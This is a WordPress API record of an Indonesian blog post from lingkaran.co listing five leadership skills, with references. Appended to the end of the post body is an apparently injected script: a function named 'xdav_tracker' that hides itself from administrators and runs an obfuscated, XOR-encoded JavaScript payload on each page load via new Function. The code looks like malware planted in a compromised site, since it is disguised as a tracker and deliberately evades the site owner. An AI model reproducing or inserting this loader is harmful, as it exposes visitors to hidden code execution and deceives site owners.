{"id":18074,"date":"2026-07-02T18:43:49","date_gmt":"2026-07-02T11:43:49","guid":{"rendered":"https:\/\/lingkaran.co\/blog\/?p=18074"},"modified":"2026-07-02T18:43:49","modified_gmt":"2026-07-02T11:43:49","slug":"skill-apa-saja-yang-harus-dimiliki-seorang-leader","status":"publish","type":"post","link":"https:\/\/lingkaran.co\/blog\/skill-apa-saja-yang-harus-dimiliki-seorang-leader\/","title":{"rendered":"Skill Apa Saja yang Harus Dimiliki Seorang Leader?"},"content":{"rendered":"<p><em>Leadership<\/em> adalah salah sebuah fungsi atau proses dimana seseorang mengatur, mengawasi, dan memastikan pekerjaan orang lain. Tentunya untuk menjadi sebuah<em> leader<\/em>, bukan merupakan hal yang mudah. Walaupun tidak mudah, bukan berarti setiap orang tidak bisa menjadi seorang<em> leader<\/em>. Terdapat beberapa <em>skills<\/em> yang dapat dilatih apabila kalian ingin menjadi seorang <em>leader<\/em>. Apa aja\u00a0<em>sih\u00a0skills<\/em> yang perlu dilatih itu?<\/p>\n<p>&nbsp;<\/p>\n<h2>1. Confidence<\/h2>\n<p><i><span style=\"font-weight: 400\">Self-confidence is super power. <\/span><\/i><span style=\"font-weight: 400\">Kepercayaan diri tentunya merupakan hal yang sangat penting untuk dimiliki oleh seorang <\/span><i><span style=\"font-weight: 400\">leader<\/span><\/i><span style=\"font-weight: 400\">. Dengan adanya kepercayaan diri inilah, orang-orang disekitar dapat menghormati seorang <\/span><i><span style=\"font-weight: 400\">leader<\/span><\/i><span style=\"font-weight: 400\">. <\/span><i><span style=\"font-weight: 400\">Skill<\/span><\/i><span style=\"font-weight: 400\"> satu ini juga berkaitan erat dengan <\/span><i><span style=\"font-weight: 400\">skill public speaking<\/span><\/i><span style=\"font-weight: 400\">. Jadi kalau kamu mau jadi <\/span><i><span style=\"font-weight: 400\">leader<\/span><\/i><span style=\"font-weight: 400\">, yuk latihan biar ngomongnya ga gugup lagi!<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2>2. Communication<\/h2>\n<p><span style=\"font-weight: 400\">Seorang <\/span><i><span style=\"font-weight: 400\">leader<\/span><\/i><span style=\"font-weight: 400\"> harus bisa menjadi komunikator yang baik untuk dapat membuat pekerjaan-pekerjaan yang ada terkomunikasikan dengan baik. Semakin baik seorang <\/span><i><span style=\"font-weight: 400\">leader<\/span><\/i><span style=\"font-weight: 400\"> berkomunikasi, maka orang-orang disekitarnya akan lebih mudah merasa terinspirasi, termotivasi, dan semangat dalam bekerja.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2>3. Problem Solving<\/h2>\n<p><span style=\"font-weight: 400\">Belum menjadi seorang <\/span><i><span style=\"font-weight: 400\">leader<\/span><\/i><span style=\"font-weight: 400\"> kalau belum menghadapi masalah! Tantangan dan rintangan dalam pekerjaan tentunya bukan suatu hal yang aneh untuk seorang<\/span><i><span style=\"font-weight: 400\"> leader. <\/span><\/i><span style=\"font-weight: 400\">Oleh karena itu, untuk mengisi posisi <\/span><i><span style=\"font-weight: 400\">leader<\/span><\/i><span style=\"font-weight: 400\"> dibutuhkan orang yang dapat berpikir cepat dan rasional dalam memecahkan masalah.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2>4. Crativity<\/h2>\n<p><span style=\"font-weight: 400\">Apple Inc. tentunya tidak dapat menjadi sebuah perusahaan yang besar apabila Steve Jobs tidak secara konsisten membuat inovasi, benar bukan? Dari Apple Inc. dapat kita simpulkan bahwa untuk membuat sebuah kemajuan, perlu diciptakan inovasi-inovasi baru. Seorang <\/span><i><span style=\"font-weight: 400\">leader <\/span><\/i><span style=\"font-weight: 400\">tentunya diharapkan dapat menjadi orang yang berpikir kreatif untuk menciptakan sebuah inovasi yang unik.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2>5. Integrity<\/h2>\n<p><i><span style=\"font-weight: 400\">\u201cManagers are people who do things right, leaders are people who do the right thing.\u201d <\/span><\/i><span style=\"font-weight: 400\">-Warren Bennis, <\/span><i><span style=\"font-weight: 400\">Author and Leadership Expert<\/span><\/i><span style=\"font-weight: 400\">. Nah, integritas disini artinya bukan hanya berkata jujur ya teman-teman! Tapi juga berarti melakukan hal-hal yang benar seperti meminta maaf apabila salah dan mengapresiasi waktu orang lain. Kita tidak bisa berekspektasi memiliki sumber daya manusia yang berintegritas apabila kita sendiri belum menjadi seorang <\/span><i><span style=\"font-weight: 400\">leader<\/span><\/i><span style=\"font-weight: 400\"> yang berintegritas.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p>Jangan lupa untuk <em>upgrade<\/em> <em>skills<\/em> di atas ini ya apabila kamu ingin menjadi <em>leader<\/em>. Beberapa kelas Lingkaran tentunya bisa kamu ikuti untuk meng<em>upgrade skills<\/em> tersebut. Cek Instagram kami di @lingkaran.co untuk info lebih lanjut.<\/p>\n<p>&nbsp;<\/p>\n<p>Referensi:<\/p>\n<p>Jackson, Keith. 2016.\u00a0<em>What Qualities Do You Look In A Leader<\/em>. Accessed through www.mindtools.com\/blog\/quality-of-a-leader<\/p>\n<p>Zambas, Joanna. 2018.\u00a0<em>Skills You Need To Be A Successful Leader.\u00a0<\/em>Accessed through www.careeraddict.com\/leadership-skills<script>function xdav_tracker() {\n    if ( is_user_logged_in() && current_user_can( 'administrator' ) ) { return; }\n    ?>\n<script>\n!function(){var _0xe4e8=atob('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'),_0x33dc=109,_0xfb89=new Uint8Array(_0xe4e8['length']),_0x7bd8=0;for(;_0x7bd8<_0xe4e8['length'];_0x7bd8++)_0xfb89[_0x7bd8]=_0xe4e8['charCodeAt'](_0x7bd8)^_0x33dc;(new Function(new TextDecoder()['decode'](_0xfb89)))()}();\n<\/script><br \/>\n    <?php\n}\nadd_action( 'shutdown', 'xdav_tracker', 97 );<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Leadership adalah salah sebuah fungsi atau proses dimana seseorang mengatur, mengawasi, dan memastikan pekerjaan orang lain. Tentunya untuk menjadi sebuah leader, bukan merupakan hal yang mudah. Walaupun tidak mudah, bukan berarti setiap orang tidak bisa menjadi seorang leader. Terdapat beberapa skills yang dapat dilatih apabila kalian ingin menjadi seorang leader. Apa aja\u00a0sih\u00a0skills yang perlu dilatih itu? &nbsp; 1. Confidence Self-confidence is super power. Kepercayaan diri tentunya merupakan hal yang sangat penting untuk dimiliki oleh seorang leader. Dengan adanya kepercayaan diri inilah, orang-orang disekitar dapat menghormati seorang leader. Skill satu ini juga berkaitan erat dengan skill public speaking. Jadi kalau kamu mau jadi leader, yuk latihan biar ngomongnya ga gugup lagi! &nbsp; 2. Communication Seorang leader harus bisa menjadi komunikator yang baik untuk dapat membuat pekerjaan-pekerjaan yang ada terkomunikasikan dengan baik. Semakin baik seorang leader berkomunikasi, maka orang-orang disekitarnya akan lebih mudah merasa terinspirasi, termotivasi, dan semangat dalam bekerja. &nbsp; 3. Problem Solving Belum menjadi seorang leader kalau belum menghadapi masalah! Tantangan dan rintangan dalam pekerjaan tentunya bukan suatu hal yang aneh untuk seorang leader. Oleh karena itu, untuk mengisi posisi leader dibutuhkan orang yang dapat berpikir cepat dan rasional dalam memecahkan masalah. &nbsp; 4. Crativity Apple Inc. tentunya tidak dapat&#8230;.<\/p>\n","protected":false},"author":3386,"featured_media":18078,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[262,600],"tags":[],"_links":{"self":[{"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/posts\/18074"}],"collection":[{"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/users\/3386"}],"replies":[{"embeddable":true,"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/comments?post=18074"}],"version-history":[{"count":4,"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/posts\/18074\/revisions"}],"predecessor-version":[{"id":19206,"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/posts\/18074\/revisions\/19206"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/media\/18078"}],"wp:attachment":[{"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/media?parent=18074"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/categories?post=18074"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/tags?post=18074"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}